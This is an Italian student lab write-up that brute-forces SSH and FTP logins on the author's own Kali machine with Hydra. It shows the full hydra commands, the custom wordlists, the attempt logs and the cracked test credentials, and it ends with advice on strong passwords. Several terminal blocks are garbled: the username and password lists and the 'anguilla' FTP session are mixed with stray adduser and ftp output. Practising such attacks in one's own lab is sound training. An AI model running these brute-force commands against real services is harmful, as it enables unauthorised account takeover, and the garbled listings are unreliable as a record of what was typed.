

# Authentication cracking con Hydra

## SCOPI DEL PROGETTO

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

## LE DUE FASI DEL PROGETTO

- Una prima fase vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove siamo liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

## CONFIGURAZIONE E CRACKING SSH

Ho aggiunto un nuovo utente su kali e l'ho chiamato **'test\_user'** con password **'testpass'** tramite il comando **'sudo adduser test\_user'**. Ho fatto partire il servizio SSH con il comando **'sudo service ssh start'** e ho modificato la configurazione con **'sudo nano /etc/ssh/sshd\_config'** modificando **'passwordAuthentication in yes, Port 22 e PermitRootLogin no'**. Poi ho testato la connessione con il server ssh con il nuovo utente con il comando **'ssh test\_user@192.168.50.100'** e si è collegato tranquillamente.

```
(kali@kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali@kali)-[~]
└─$ sudo service ssh start

(kali@kali)-[~]
└─$ sudo nano /etc/ssh/sshd_config

(kali@kali)-[~]
└─$ sudo service ssh restart

(kali@kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:B5c0gbRpch0rb86D189YtMjRrCdYudowFpWSudcL9xI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
```

```
File Actions Edit View Help
GNU nano 8.2
# be allowed through the KbdInteractiveAuthentication and PasswordAuthentication yes
# PAM authentication via KbdInteractiveAuthentication may bypass the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without PAM authentication, then enable this but set PasswordAuthentication and KbdInteractiveAuthentication to 'no'.
UsePAM yes
# AllowAgentForwarding yes
# AllowTcpForwarding yes
# GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
PermitRootLogin no
Port 22
```

Ho preferito creare una wordlist mia per non attendere troppo tempo con ‘seclist’.

Quindi con ‘**nano wordlist.txt**’ ho creato una lista di password di circa 50 possibili password.

E con ‘cat wordlist.txt’ ho visualizzato la lista:

```
kali@kali: ~  
File Actions Edit View Help  
$ cat wordlist.txt  
testpass  
password123  
admin  
root  
123456  
qwerty  
kali123  
giuseppe  
alfredo  
alessandra  
gigli  
orologio  
computer  
tastiera  
finestra  
babbonatale  
pippo  
pluto  
topolino12  
princess123  
tatiana  
pelati  
pizzafritta  
baccala  
danviti  
epicode  
cybersecurity  
cyborg  
napoli  
juventus  
vesuvio  
crispy  
mcdonald  
colosseo  
torredipisa  
duomo  
chiesa  
ministranti  
percussioni  
bongo  
tamburo  
organo  
tastiera  
flauto  
coro  
sacerdote  
maria  
gesu  
croce  
campanile
```

Successivamente ho fatto partire Hydra con il comando **'hydra -l test\_user -P wordlist.txt -t 4 -w 2 192.168.50.100 ssh -V'** e dopo poco mi ha trovato la password.

(-l minuscola per un singolo user e -P per un gruppo di password, -t 4 è la forza e -w 2 è l'intervallo di secondi.)

```
(kali@kali)-[~]  
$ hydra -l test_user -P wordlist.txt -t 4 -w 2 192.168.50.100 ssh -V  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or  
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
[WARNING] the waittime you set is low, this can result in errornous results  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 07:06:49  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous ses  
sion found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 51 login tries (l:1/p:51), ~13 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "" - 1 of 51 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 2 of 51 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password123" - 3 of 51 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 4 of 51 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 0] (0/0)  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 07:07:02
```

## FASE 2

### CONFIGURAZIONE E CRACKING FTP

Ho scelto il servizio ftp. Con il comando `'sudo apt-get install vsftpd'` ho installato il servizio e l'ho fatto partire con il comando `'service vsftpd start'`.

Ho creato dei nuovi utenti per rendere l'esercizio più reale. E ho controllato su ogni utente se la connessione su ftp fosse eseguita correttamente:

primo utente: 'ftp\_user'

```
(kali@kali)-[~]
└─$ sudo adduser ftp_user
info: Adding user `ftp_user' ... password found
info: Selecting UID/GID from range 1000 to 59999 ... could not be completed
info: Adding new group `ftp_user' (1002) ... done
info: Adding new user `ftp_user' (1002) with group `ftp_user (1002)' ...
info: Creating home directory `/home/ftp_user' ... finished at 2024-12-13 07:02:02
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for ftp_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `ftp_user' to supplemental / extra groups `users' ...
info: Adding user `ftp_user' to group `users' ...
(kali@kali)-[~]
└─$ ls
Angelo1.xml  Ciao  Documents  'Esercitazione 12-11'  gameshell.sh  meta_report
Angelo.xml  Desktop  Downloads  gameshell-save.sh  listaip.txt  Music
(kali@kali)-[~]
└─$ cd /home/ftp_user
cd: permission denied: /home/ftp_user
(kali@kali)-[~]
└─$ sudo nano /etc/vsftpd.conf
(kali@kali)-[~]
└─$ ftp localhost
Trying ::1:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): ftp_user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

secondo utente: 'admin'

```
(kali㉿kali)-[~]
└─$ sudo adduser admin /var/lib/passwd
[sudo] password for kali:
info: Adding user `admin' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `admin' (1003) ...
info: Adding new user `admin' (1003) with group `admin (1003)' ...
info: Creating home directory `/home/admin' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
  (1) Full Name []:
  (2) Room Number []:
  (3) Work Phone []:
  (4) Home Phone []:
  (5) Other []:
Is the information correct? [Y/n] y
info: Adding new user `admin' to supplemental / extra groups `users' ...
info: Adding user `admin' to group `users' ...

(kali㉿kali)-[~]
└─$ sudo nano /etc/vsftpd.conf

(kali㉿kali)-[~]
└─$ ftp localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

terzo utente: 'gianni'

```
(kali㉿kali)-[~]
└─$ sudo adduser gianni /var/lib/passwd
info: Adding user `gianni' ... to supplemental / extra groups `users' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `gianni' (1004) ...
info: Adding new user `gianni' (1004) with group `gianni (1004)' ...
info: Creating home directory `/home/gianni' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for gianni
Enter the new value, or press ENTER for the default
  (1) Full Name []:
  (2) Room Number []:
  (3) Work Phone []:
  (4) Home Phone []:
  (5) Other []:
Is the information correct? [Y/n] y
info: Adding new user `gianni' to supplemental / extra groups `users' ...
info: Adding user `gianni' to group `users' ...

(kali㉿kali)-[~]
└─$ ftp localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): gianni
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Quarto utente: 'anguilla'

```
(kali㉿kali)-[~] # already exists.
$ sudo adduser anguilla
[sudo] password for kali:
info: Adding user `anguilla' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `anguilla' (1005) ...
info: Adding new user `anguilla' (1005) with group `anguilla (1005)' ...
info: Creating home directory `/home/anguilla' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for anguilla
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `anguilla' to supplemental / extra groups `users' ...
info: Adding user `anguilla' to group `users' ...
(kali㉿kali)-[~] # gianni (1004) with group `gianni (1004)' ...
$ ftp localhost -u gianni -d /home/gianni
Trying [::1]:21 ... from [eter:skel] ...
Connected to localhost.
220 (vsFTPD 3.0.3)
Name (localhost:kali): anguilla fully
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Prima di procedere con hydra ho creato due liste, una di username e una di password.

Quindi tramite il comando **'nano usernames'** ho creato la lista user:

```
GNU nano 8.2
ftp_user
ciccio_pasticcio
il_bombarolo
aquila_reale
anguilla
pippo_baudo
gigi_marzullo
admin
root
test_user
nino_dangelo
pippotherepper
gianni
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
info: Adding new user `anguilla' ...
info: Adding user `anguilla' to g
(kali㉿kali)-[~]
$ ftp localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPD 3.0.3)
Name (localhost:kali): anguilla
331 Please specify the password.
Password:
230 Login successful.
```

E con il comando **'nano passwords'** ho creato la lista password:

```
GNU nano 8.2
wrongpass
testpass password for kali:
123456 adding user 'anguilla' ...
pippo selecting UID/GID from range 1000 to 39999 ...
gionni123 adding new group 'anguilla' (1005) ...
princess adding new user 'anguilla' (1005) with group
juventus setting home directory '/home/anguilla' ...
lavatrice1 adding files from '/etc/skel' ...
pallone word:
sacerdote passwords:
holly password updated successfully
foglio the user information for anguilla
admin123 new value, or press ENTER for the default
guest123 full Name []:
password home Number []:
ciao work Phone []:
prova Home Phone []:
cielo Other []:
terra information correct? [Y/n] y
mare adding new user 'anguilla' to supplemental
foresta adding user 'anguilla' to group 'users' ...
gillet
pompei (root@kali:~)
vico localhost
lametta 11:21 ...
pinetta cd to localhost:
tastiera 00 1.0.0.0
pianoforte host:kali: anguilla
tamburo specify the password.
percussioni
baudo run successful.
cantante view type is UNIX.
musicista try mode to transfer files.
peroni
birra
vino
pizza
spaghetti
carbonara
mozzarella
bufala
erba
prato
```



Dopodiché ho eseguito l'attacco con hydra con i seguenti comandi:

**'hydra -L usernames.txt -P passwords.txt localhost ftp -V'**

```
[ATTEMPT] target localhost - login "aquila_reale" - pass "birra" - 167 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "vino" - 168 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "pizza" - 169 of 616 [child 3] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "spaghetti" - 170 of 616 [child 6] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "carbonara" - 171 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "mozzarella" - 172 of 616 [child 12] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "bufala" - 173 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "erba" - 174 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "prato" - 175 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "aquila_reale" - pass "" - 176 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "wrongpass" - 177 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "testpass" - 178 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "123456" - 179 of 616 [child 4] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "pippo" - 180 of 616 [child 15] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "gionni123" - 181 of 616 [child 8] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "princess" - 182 of 616 [child 11] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "juventus" - 183 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "lavatrice1" - 184 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "pallone" - 185 of 616 [child 3] (0/0)
[ATTEMPT] target localhost - login "anguilla" - pass "sacerdote" - 186 of 616 [child 6] (0/0)
[21][ftp] host: localhost login: anguilla password: pippo
[ATTEMPT] target localhost - login "pippo_baudo" - pass "wrongpass" - 221 of 616 [child 15] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "testpass" - 222 of 616 [child 12] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "123456" - 223 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "pippo" - 224 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "gionni123" - 225 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "princess" - 226 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "juventus" - 227 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "lavatrice1" - 228 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "pallone" - 229 of 616 [child 8] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "sacerdote" - 230 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "holly" - 231 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "foglio" - 232 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "admin123" - 233 of 616 [child 4] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "guest123" - 234 of 616 [child 11] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "password" - 235 of 616 [child 3] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "ciao" - 236 of 616 [child 6] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "prova" - 237 of 616 [child 15] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "cielo" - 238 of 616 [child 12] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "terra" - 239 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "mare" - 240 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "foresta" - 241 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "gillet" - 242 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "pompei" - 243 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "vico" - 244 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "lametta" - 245 of 616 [child 8] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "pineta" - 246 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "pippo_baudo" - pass "tastiera" - 247 of 616 [child 13] (0/0)
```



```

(kali@kali)-[~]
$ hydra -L usernames.txt -P passwords.txt localhost ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:26:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 616 login tries (l:14/p:44), ~39 tries per task
[DATA] attacking ftp://localhost:21/
[ATTEMPT] target localhost - login "ftp_user" - pass "wrongpass" - 1 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "testpass" - 2 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "123456" - 3 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "pippo" - 4 of 616 [child 3] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "gianni123" - 5 of 616 [child 4] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "princess" - 6 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "juventus" - 7 of 616 [child 6] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "lavatrice1" - 8 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "pallone" - 9 of 616 [child 8] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "sacerdote" - 10 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "holly" - 11 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "foglio" - 12 of 616 [child 11] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "admin123" - 13 of 616 [child 12] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "guest123" - 14 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "password" - 15 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "ftp_user" - pass "ciao" - 16 of 616 [child 15] (0/0)
[21][ftp] host: localhost login: ftp_user password: testpass
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "wrongpass" - 45 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "testpass" - 46 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "123456" - 47 of 616 [child 8] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "pippo" - 48 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "gianni123" - 49 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "princess" - 50 of 616 [child 11] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "juventus" - 51 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "lavatrice1" - 52 of 616 [child 12] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "pallone" - 53 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "sacerdote" - 54 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "holly" - 55 of 616 [child 15] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "foglio" - 56 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "admin123" - 57 of 616 [child 6] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "guest123" - 58 of 616 [child 3] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "password" - 59 of 616 [child 4] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "ciao" - 60 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "prova" - 61 of 616 [child 1] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "cielo" - 62 of 616 [child 9] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "terra" - 63 of 616 [child 14] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "mare" - 64 of 616 [child 11] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "foresta" - 65 of 616 [child 10] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "gillet" - 66 of 616 [child 13] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "pompei" - 67 of 616 [child 0] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "vico" - 68 of 616 [child 7] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "lametta" - 69 of 616 [child 2] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "pineta" - 70 of 616 [child 4] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "tastiera" - 71 of 616 [child 5] (0/0)
[ATTEMPT] target localhost - login "ciccio_pasticcio" - pass "pianoforte" - 72 of 616 [child 8] (0/0)

```

Non mi convinceva questo risultato e quindi ho tolto dal comando -V così da poter visualizzare meglio i risultati:

```

(kali@kali)-[~]
$ hydra -L usernames.txt -P passwords.txt localhost ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:28:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 616 login tries (l:14/p:44), ~39 tries per task
[DATA] attacking ftp://localhost:21/
[21][ftp] host: localhost login: ftp_user password: testpass
[21][ftp] host: localhost login: anguilla password: pippo
[21][ftp] host: localhost login: admin password: admin123
[STATUS] 384.00 tries/min, 384 tries in 00:01h, 232 to do in 00:01h, 16 active
[21][ftp] host: localhost login: test_user password: testpass
[21][ftp] host: localhost login: gianni password: password
1 of 1 target successfully completed, 5 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 10:29:59

```

Quindi sono riuscito a trovare tutti gli utenti e le loro password.

Questo ci fa capire come sia molto facile rubare nome utente e password quando li scegliamo approssimativamente e senza darci peso. Dopo questo esercizio capiamo che dobbiamo scegliere sempre password complesse e modificarle spesso per evitare eventuali furti di password.